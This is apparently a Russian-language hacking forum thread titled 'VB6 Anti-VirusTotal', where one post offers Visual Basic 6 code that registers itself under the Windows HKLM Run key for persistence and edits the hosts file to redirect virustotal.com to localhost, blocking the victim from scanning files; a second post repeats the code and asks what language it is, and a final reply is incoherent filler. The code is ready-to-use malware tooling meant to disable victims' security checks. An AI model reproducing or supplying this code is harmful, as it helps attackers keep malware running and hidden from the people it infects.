MultiVPN

VB6 Анти Вирустотал

Сообщения
191
Реакции
232
Баллы
58
Код:
Private Sub Form_Load()
Dim Startup_key As String

Startup_key = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\"

Dim Reg As Object

Set Reg = CreateObject("wscript.shell")

Reg.RegWrite Startup_key & App.EXEName, App.Path & "\" & App.EXEName & ".exe"

Dim dizin As String
Dim yerayır As String
Dim site As String
Dim site2 As String
dizin = Environ("windir") & "\system32\drivers\etc\hosts"
Open dizin For Binary As 1
yerayır = Space(FileLen(dizin))
Get 1, , yerayır
Close 1
site = vbNewLine & "127.0.0.1 www.virustotal.com "
site2 = vbNewLine & "127.0.0.1 www.jooti.com "
Open dizin For Binary As 1
Put 1, , yerayır & site
Close 1
End Sub
 
  • Like
Реакции: ResH
Сообщения
1
Реакции
0
Баллы
1
Код:
Private Sub Form_Load()
Dim Startup_key As String

Startup_key = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\"

Dim Reg As Object

Set Reg = CreateObject("wscript.shell")

Reg.RegWrite Startup_key & App.EXEName, App.Path & "\" & App.EXEName & ".exe"

Dim dizin As String
Dim yerayır As String
Dim site As String
Dim site2 As String
dizin = Environ("windir") & "\system32\drivers\etc\hosts"
Open dizin For Binary As 1
yerayır = Space(FileLen(dizin))
Get 1, , yerayır
Close 1
site = vbNewLine & "127.0.0.1 www.virustotal.com "
site2 = vbNewLine & "127.0.0.1 www.jooti.com "
Open dizin For Binary As 1
Put 1, , yerayır & site
Close 1
End Sub
Какой это яп?
 
Сообщения
4
Реакции
0
Баллы
1
Just that is necessary, I will participate. Together we can come to a right answer. I am assured.
 
Сверху